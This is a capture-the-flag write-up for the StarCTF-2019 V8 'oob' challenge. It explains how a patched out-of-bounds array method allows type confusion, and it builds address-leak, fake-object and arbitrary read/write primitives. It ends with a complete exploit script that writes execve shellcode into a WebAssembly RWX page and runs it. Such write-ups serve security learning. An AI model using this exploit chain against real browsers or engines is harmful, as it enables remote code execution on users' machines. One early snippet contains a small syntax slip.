Curt write up for a classic challenge V8-OOB

What’s OOB

OOB is a challenge on StarCTF-2019. It’s a basic but classical one.

Basic for JS

V8 is an open source engine for JavaScript which is implemented in Chrome.

There are several passages for setting up the environment, learning some basic knowledge for about the JavaScript and V8.

V8 Compiling: V8 env

object’s structure: Fast properties in V8

oob: oob

OOB

The challenge gives a diff file to implement a vulnerability.

#commit 6dc88c191f5ecc5389dc26efa3ca0907faef3598
git apply < oob.diff

The diff file adds a vulnerable method. In short, array.oob() would return array[array.length] and array.oob(x) would set array[array.length] =x . As we all know, the subscript of an n-element-array is [0,n-1]. There for we could read and write the data out of the array. In V8, according to the structure of the object, it’s the map of the object.

So what can we do if we could read and modify any object’s map? Yes, we can confuse the type explaining of the object. If we take an array of floats as an array of objects, we could read the address of the object while taking an array of objects as an array of floats, it would create a fake object. That’s what we could exploit from OOB.

addressOf and fakeObject

More specifically, we could use oob() to get the map of float array and object array.

var obj = [a:"a"];
var obj_array = [obj];
var float_array = [1.1];
// map_of_obj_array & map_of_float_array 
var mo = obj_array.oob();
var mf = float_array.oob();

And we could modify the map of an object to perform addressOf and fakeObject.

function addressOf(obj)
{
	obj_array[0] = obj;
	obj_array.oob(mf);
	let res = f2i(obj_array[0])-1n;
	obj_array.oob(mo);
	return res;
}
function fakeObject(address)
{
	float_array[0] = i2f(address+1n);
	float_array.oob(mo);
	let res = float_array[0];
	float_array.oob(mf);
	return res;
}

aar and aaw

We could conduct aar(arbitrary address read) and aaw(arbitrary address write) functions from addressOf and fakeObject. By faking a float array and modifying its element.

var tmp = [1.1,1.1,1.1,1.1];
var mt = tmp.oob();
var fake = [mt,i2f(0n),i2f(0n),i2f(0x400000000n),1.1,1.1];
var fake_obj = fakeObject(addressOf(fake)-0x30n);
function aar(address)
{
	fake[2] = i2f(address-0xfn);
	return f2i(fake_obj[0]);
}
function aaw(address,value)
{
	fake[2] = i2f(address-0xfn);
	fake_obj[0] = i2f(value);
}

Now we can read and write arbitrary address in the memory.

Get shell

  1. search in the memory to find some useful address→ get libc-base address → hijack hooks → get shell
  2. find some useful address in array.map.constructor.code.
  3. Web asm, https://wasdk.github.io/WasmFiddle/, find the rwx page in wasmInstance.exports.main() and modify the content to run our shellcode.

EXP(Wasm)

var _b = new ArrayBuffer(16);
var _f = new Float64Array(_b);
var _i = new BigUint64Array(_b);
function f2i(f)
{
	_f[0] = f;
	return _i[0];
}
function i2f(i)
{
	_i[0] = i;
	return _f[0];
}
function hex(i)
{
	return "0x"+i.toString(16).padStart(16,"0");
}

var obj = {a:"a"};
var oa = [obj];
var fa = [1.1]
var mo = oa.oob();
var mf = fa.oob();

function addressOf(obj)
{
	oa[0]= obj;
	oa.oob(mf);
	let res = f2i(oa[0])-1n;
	oa.oob(mo);
	return res;
}
function fakeObj(address)
{
	fa[0] = i2f(address+1n);
	fa.oob(mo);
	let res = fa[0];
	fa.oob(mf);
	return res;
}
var c = [1.1,1.1,1.1,1.1]
var mc = c.oob(); 
var fake = [
mc,
i2f(0n),
i2f(0n),
i2f(0x1000000000n),
1.1,
2.2
]
var faker = fakeObj(addressOf(fake)-0x30n);


function aar(addr)
{
	fake[2] = i2f(addr-0xfn);
	return f2i(faker[0]);
}
function aaw(addr,val)
{
	fake[2] = i2f(addr-0xfn);
	faker[0] = i2f(val);
}


var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f= wasmInstance.exports.main;
var shell = [0xf631483bb0c03148n, 0x69622fbf48d23148n, 0x8948570068732f6en,0x50fe7n];
var tmp = aar(addressOf(f)+0x18n)-1n;
tmp = aar(tmp+8n)-1n;
tmp = aar(tmp+0x10n)-1n
tmp = aar(tmp+0x88n)
var buf =new ArrayBuffer(shell.length*8);
aaw(addressOf(buf)+0x20n,tmp);
var v =new DataView(buf);
for(let i=0;i<shell.length;i++){
	v.setFloat64(i*8,i2f(shell[i]),true);
}
f();

//%DebugPrint(f);
//%SystemBreak();